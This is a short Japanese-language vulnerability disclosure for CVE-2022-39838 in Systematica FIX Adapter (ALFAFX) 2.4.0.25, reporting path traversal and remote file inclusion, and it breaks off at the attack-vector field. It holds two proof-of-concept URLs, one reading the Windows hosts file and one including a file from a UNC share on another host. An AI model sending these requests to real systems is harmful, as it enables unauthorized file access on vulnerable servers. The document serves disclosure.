CVE-2022-39838

[推奨説明]

Systematica FIX Adapter (ALFAFX) 2.4.0.25 13/09/2017 は、UNC共有パス名を介したリモートファイルインクルージョンを許可し、またローカルパス名への絶対パストラバーサルも許可します。

[追加情報]

PoC:

http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts

http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt

[脆弱性タイプ]

不適切なアクセス制御

[製品ベンダー]

Systematica

[影響を受ける製品コードベース]

Systematica FIX Adapter (ALFAFX) - 2.4.0.25 (Build 13/09/2017)

[攻撃タイプ]

リモート

[影響情報漏洩]

はい

[攻撃ベクトル]